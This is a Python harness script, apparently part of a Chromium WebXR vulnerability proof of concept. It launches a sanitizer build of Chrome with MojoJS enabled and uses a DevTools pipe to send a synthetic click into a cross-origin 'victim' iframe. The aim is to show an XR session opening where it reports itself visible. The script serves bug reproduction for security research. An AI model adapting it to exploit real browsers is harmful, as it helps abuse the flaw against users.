#!/usr/bin/env python3
"""Launch Chrome and deliver a synthetic click via CDP.

navigator.xr.requestSession requires transient user activation, and the XR
session document is a cross-origin subframe, so the click must be a real
input event. We use --remote-debugging-pipe (CDP over fd 3/4, NUL-framed
JSON) to dispatch Input.dispatchMouseEvent into the page.

Usage:
  python3 driver.py [--no-site-isolation]

  --no-site-isolation : add --disable-site-isolation-trials so the inner
    origin-A iframe is a LocalFrame inside origin-B's renderer (matching
    Android's default partial site isolation), exercising the
    IsCrossOriginToOutermostMainFrame() == false branch directly. Without
    this flag the inner iframe is an OOPIF and the contentDocument()==null
    fall-through is exercised instead. Both reach is_visible=true.

Watch server.py output for [PAGE] lines reporting the result.
"""
import json
import os
import select
import shutil
import subprocess
import sys
import tempfile
import threading
import time

CHROME = os.environ.get('CHROME', '/chromium/chromium/src/out/asan/chrome')
URL    = 'http://localhost:8765/top.html'

extra = []
if '--no-site-isolation' in sys.argv:
    extra.append('--disable-site-isolation-trials')

profile = tempfile.mkdtemp(prefix='xr-poc-')

# Pipes for CDP over fd 3 (chrome reads) / fd 4 (chrome writes).
c_in_r,  c_in_w  = os.pipe()   # we write -> chrome fd 3
c_out_r, c_out_w = os.pipe()   # chrome fd 4 -> we read

cmd = [
    CHROME,
    '--headless=new',
    '--remote-debugging-pipe',
    '--no-first-run', '--no-default-browser-check',
    '--use-gl=angle', '--use-angle=swiftshader', '--enable-unsafe-swiftshader',
    '--in-process-gpu',
    '--enable-blink-features=MojoJS,MojoJSTest',
    '--user-data-dir=' + profile,
    '--enable-logging=stderr', '--v=0',
    '--window-size=1000,800',
] + extra + [URL]

print('[driver] launching:', ' '.join(cmd), flush=True)

for fd in (c_in_r, c_in_w, c_out_r, c_out_w):
    os.set_inheritable(fd, True)

def _preexec():
    os.dup2(c_in_r, 3)
    os.dup2(c_out_w, 4)
    for fd in (c_in_r, c_in_w, c_out_r, c_out_w):
        if fd not in (3, 4):
            os.close(fd)

proc = subprocess.Popen(
    cmd, preexec_fn=_preexec, close_fds=False,
    stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
)
os.close(c_in_r)
os.close(c_out_w)

def pump_logs():
    for line in iter(proc.stdout.readline, b''):
        s = line.decode('utf-8', 'replace').rstrip()
        if ('[POC]' in s or 'CONSOLE' in s or 'FATAL' in s
                or 'AddressSanitizer' in s):
            print('[chrome] ' + s, flush=True)

threading.Thread(target=pump_logs, daemon=True).start()

_next = [0]
def send(method, params=None, session=None):
    _next[0] += 1
    m = {'id': _next[0], 'method': method, 'params': params or {}}
    if session:
        m['sessionId'] = session
    os.write(c_in_w, json.dumps(m).encode() + b'\x00')
    return _next[0]

_buf = bytearray()
def recv(timeout=10):
    end = time.time() + timeout
    while True:
        i = _buf.find(b'\x00')
        if i >= 0:
            raw = bytes(_buf[:i]); del _buf[:i+1]
            return json.loads(raw)
        r, _, _ = select.select([c_out_r], [], [], max(0, end - time.time()))
        if not r:
            return None
        chunk = os.read(c_out_r, 65536)
        if not chunk:
            return None
        _buf.extend(chunk)

def wait_id(mid, timeout=15):
    end = time.time() + timeout
    while time.time() < end:
        m = recv(timeout=max(0.1, end - time.time()))
        if m and m.get('id') == mid:
            return m
    return None

# Find the page target.
page = None
mid = send('Target.setDiscoverTargets', {'discover': True})
end = time.time() + 30
while time.time() < end and not page:
    m = recv(2)
    if not m:
        mid = send('Target.getTargets')
        r = wait_id(mid, 5)
        for ti in (r or {}).get('result', {}).get('targetInfos', []):
            if ti.get('type') == 'page':
                page = ti['targetId']; break
        continue
    if m.get('method') in ('Target.targetCreated', 'Target.targetInfoChanged'):
        ti = m['params']['targetInfo']
        if ti.get('type') == 'page':
            page = ti['targetId']

if not page:
    print('[driver] FAILED: no page target', flush=True)
    proc.terminate(); sys.exit(1)
print('[driver] page target:', page, flush=True)

mid = send('Target.attachToTarget', {'targetId': page, 'flatten': True})
sess = None
while sess is None:
    m = recv(10)
    if m is None:
        break
    if m.get('method') == 'Target.attachedToTarget':
        sess = m['params']['sessionId']
    elif m.get('id') == mid and 'result' in m:
        sess = m['result'].get('sessionId')
print('[driver] session:', sess, flush=True)

# Let the mojom modules load (the import graph is large under ASAN).
time.sleep(12)

# Click inside the origin-B iframe (at 0,0 800x600 in the top page),
# below the inner iframes (victim y=50..150, control y=250..350).
for t in ('mousePressed', 'mouseReleased'):
    send('Input.dispatchMouseEvent',
         {'type': t, 'x': 400, 'y': 450, 'button': 'left', 'clickCount': 1},
         session=sess)
print('[driver] click dispatched; watch server.py output for [PAGE] lines',
      flush=True)

time.sleep(25)
print('[driver] shutting down', flush=True)
try:
    send('Browser.close')
    time.sleep(2)
except Exception:
    pass
proc.terminate()
try:
    proc.wait(5)
except Exception:
    proc.kill()
shutil.rmtree(profile, ignore_errors=True)
